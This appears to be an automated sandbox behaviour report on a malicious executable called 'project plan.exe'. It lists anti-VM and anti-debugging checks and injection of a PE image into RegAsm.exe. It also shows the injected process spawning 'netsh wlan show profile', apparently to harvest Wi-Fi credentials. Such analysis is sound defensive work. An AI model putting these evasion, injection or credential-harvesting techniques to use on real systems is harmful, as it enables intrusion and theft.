Source:	Binary string: System.ni.pdbRSDS source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Drawing.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Drawing.pdbX source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: mscorlib.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Windows.Forms.pdb; source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdbH source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdb source: WERDE5D.tmp.dmp.7.dr

Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F1816B push ebx; retn 5F4Eh	0_2_00007FF848F1826A
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F12E65 push eax; ret	0_2_00007FF848F12E1D
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F12D80 push eax; ret	0_2_00007FF848F12E1D
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848F100BD pushad ; iretd	0_2_00007FF848F100C1
Source: C:\Users\user\Desktop\project plan.exe	Code function: 0_2_00007FF848FF01AA push esp; retf 4810h	0_2_00007FF848FF0312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06169157 push es; ret	3_2_061692B8

Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\project plan.exe	Memory allocated: 16754D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Memory allocated: 1676E690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2AB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegAsm.exe, 00000003.00000002.3220966436.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000009.00000003.2042868359.0000000000831000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: RegAsm.exe, 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]qEmultipart/form-data; boundary=------------------------8dc9b102694a6ea<
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: project plan.exe, 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\project plan.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00F688C0 LdrInitializeThunk,LdrInitializeThunk,

3_2_00F688C0

Source: C:\Users\user\Desktop\project plan.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\project plan.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: project plan.exe, -------.cs	Reference to suspicious API methods: GetProcAddress(_08EA_08E2_EE64_061A_EED3_EEFF, _0618_08D2_08F2_EE97_EE3A_EE20_EEBB_ECB4_064E_EE6B_EE7F_EE03_EEDF_060F)
Source: project plan.exe, -------.cs	Reference to suspicious API methods: VirtualProtect(procAddress, (uint)_0E74_06DC_066D_EE6C_0EBB_EE37_EE1D_EE5B_08FF_08E8_06FD_EEF9.Length, 64u, out var _EE1B_0EB9_EE85_EEF8_0E68_06DC_061E_EE14_EE69_EED8_0EB6_EE43_EE2E_EEA0_0E7F_EE71)
Source: project plan.exe, -------.cs	Reference to suspicious API methods: LoadLibrary(_EEF9_08FE_ECA9_EEE9(_0602_EC97_06D8_EE8E_EE96_ECA5_EEBD_EE09_EEE3_EE39._ECB1_ECB7_066B_EE9D_EE63_ECAC_06DC_06EB))

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\project plan.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\project plan.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\project plan.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 422000	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 424000	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: AFF008	Jump to behavior

Source: C:\Users\user\Desktop\project plan.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\project plan.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\netsh.exe "netsh" wlan show profile	Jump to behavior

Source: C:\Users\user\Desktop\project plan.exe	Queries volume information: C:\Users\user\Desktop\project plan.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
